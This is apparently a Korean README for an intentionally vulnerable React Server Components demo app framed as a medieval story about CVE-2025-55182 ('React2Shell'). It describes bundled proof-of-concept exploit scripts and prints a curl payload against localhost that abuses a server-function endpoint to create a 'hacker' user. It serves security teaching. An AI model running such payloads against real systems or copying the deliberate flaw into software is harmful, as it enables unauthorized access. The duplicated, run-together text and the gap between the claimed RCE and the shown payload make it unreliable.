
"옛날 옛적에, Reactland의 성은 모든 Flight 메시지를 신뢰했습니다... 그런데 사기꾼이 나타났습니다." 이야기 형식의 CVE-2025-55182 (React2Shell) 데모 - 보안 교육을 위한 중세 테마의 취약한 React Server Components 앱.
이 프로젝트는 React Server Components 19.1.1의 심각한 RCE 취약점(CVE-2025-55182 / React2Shell)을 시연합니다.
이 프로젝트는 React Server Components 19.1.1의 심각한 원격 코드 실행(RCE) 취약점인 CVE-2025-55182(React2Shell)를 시연합니다. 애플리케이션은 다음을 포함합니다:
react-cve-demo/
├── package.json # react-server-dom-webpack이 포함된 React 19.1.1
├── server.js # RSC 지원을 위한 커스텀 React 서버
├── src/
│ ├── App.jsx # 메인 React 컴포넌트
│ ├── Login.jsx # 로그인 페이지 컴포넌트
│ ├── Dashboard.jsx # 보호된 페이지 컴포넌트
│ └── server-components/ # 서버 컴포넌트
│ └── AuthServer.jsx # 서버 측 인증 로직
├── data/
│ └── users.json # 사용자 자격 증명 저장소
├── Dockerfile # Docker 컨테이너화
├── docker-compose.yml # Docker Compose 설정
├── .dockerignore
├── exploit/
│ ├── poc.js # POC 익스플로잇 스크립트 (Node.js)
│ └── poc.sh # POC 익스플로잇 스크립트 (bash/curl)
└── README.md # 이 파일
npm install
npm start
Docker Compose로 빌드 및 실행:
docker-compose up --build
또는 수동으로 빌드 및 실행:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
http://localhost:3000 에서 애플리케이션에 접속하세요
admin, 비밀번호: securepassword123user1, 비밀번호: password123취약점은 RSC Flight 프로토콜의 역직렬화 메커니즘에 존재합니다. 익스플로잇은:
node exploit/poc.js
또는 사용자 정의 대상 URL:
TARGET_URL=http://localhost:3000 node exploit/poc.js
./exploit/poc.sh
또는 사용자 정의 대상 URL:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
한 줄 버전:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
여러 줄 버전(가독성 향상):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
참고: 복사하여 붙여넣기 가능한 한 줄 명령어는
exploit/curl-oneline.txt에도 있습니다.
익스플로잇을 실행한 후:
data/users.json 에 새 사용자를 생성합니다hackerhacked123취약점은 React Server Components 19.1.1에 존재하며, 특히 다음 부분에 있습니다:
react-server-dom-webpack서버(server.js)는 다음을 구현합니다:
/rsc)data/users.json)RSC Flight 프로토콜 엔드포인트는 다음을 수락합니다:
action: "callServerFunction": 서버 함수 실행action: "renderRSC": React Server Components 렌더링취약점은 서버 함수 호출이 역직렬화되고 실행되는 방식에 존재합니다.
npm install)docker-compose logsMIT 라이선스 - 교육 목적으로만 사용
이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다. 저자와 기여자는 이 소프트웨어의 오용이나 손해에 대해 책임지지 않습니다. 사용에 따른 책임은 본인에게 있으며, 모든 관련 법규를 준수하시기 바랍니다.